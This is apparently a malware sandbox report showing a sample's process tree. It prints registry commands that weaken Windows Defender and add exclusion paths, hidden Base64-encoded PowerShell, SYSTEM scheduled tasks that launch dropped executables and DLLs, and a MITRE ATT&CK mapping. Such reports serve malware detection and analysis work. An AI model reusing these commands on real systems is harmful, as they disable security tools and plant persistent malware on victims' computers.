"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:2504

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:5300

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:5156

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4156

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:4544

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:5192

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3296

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:4100

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:1168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:5364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:3904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:1268

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:4168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:4360

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:3068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4116

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4384

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3820

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5228

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3964

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4452

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5468

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3372

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4160

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4936

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:5556

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:5152

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:32
3⤵
PID:1068

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:64
3⤵
PID:1500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:32
3⤵
PID:4704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:64
3⤵
PID:4652

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gOVbZngkT" /SC once /ST 00:17:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:4476

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gOVbZngkT"
2⤵
PID:5432

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gOVbZngkT"
2⤵
PID:5056

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "CHeJVxoJwhzmREGSo" /SC once /ST 00:24:13 /RU "SYSTEM" /TR "\"C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\xGWBZGY.exe\" sG /site_id 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2264

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "CHeJVxoJwhzmREGSo"
2⤵
PID:5288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:5628

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5936

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4416

C:\Users\Admin\AppData\Roaming\jvurrah
C:\Users\Admin\AppData\Roaming\jvurrah
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1252

C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\xGWBZGY.exe
C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\xGWBZGY.exe sG /site_id 525403 /S
1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:2364

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "booXbIzkEgfNdKvxAC"
2⤵
PID:4524

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:5852

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:5656

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:5616

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:2436

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\QMuGxDzxU\pgDemd.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "cPyDayBYNpjUpuO" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1180

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "cPyDayBYNpjUpuO2" /F /xml "C:\Program Files (x86)\QMuGxDzxU\UcNIfgB.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:5028

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "cPyDayBYNpjUpuO"
2⤵
PID:5596

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "cPyDayBYNpjUpuO"
2⤵
PID:5176

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "CKLLrKbBjRttlf" /F /xml "C:\Program Files (x86)\YhmfbgEUeceU2\CjKmfod.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1340

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "QtMzpEnQzbovF2" /F /xml "C:\ProgramData\hnkumIqTRwUxQLVB\KoehasX.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3216

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jDcNWoQEywoxNtiMi2" /F /xml "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\jFKNgZu.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:880

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "DwrQigzmMruJpsQaMBv2" /F /xml "C:\Program Files (x86)\iTBLcazoBHNRC\xmQGxET.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4224

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "oCvyuKWvFtUoYKNPA" /SC once /ST 00:34:47 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\RHdUtmclRPrQNqWD\cqqUgRks\yXpzJwT.dll\",#1 /site_id 525403" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:628

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "oCvyuKWvFtUoYKNPA"
2⤵
PID:1804

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
2⤵
PID:4628

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:5540

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
2⤵
PID:2180

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:4768

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "CHeJVxoJwhzmREGSo"
2⤵
PID:4116

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\RHdUtmclRPrQNqWD\cqqUgRks\yXpzJwT.dll",#1 /site_id 525403
1⤵
PID:736

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\RHdUtmclRPrQNqWD\cqqUgRks\yXpzJwT.dll",#1 /site_id 525403
2⤵
- Loads dropped DLL
PID:4760

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery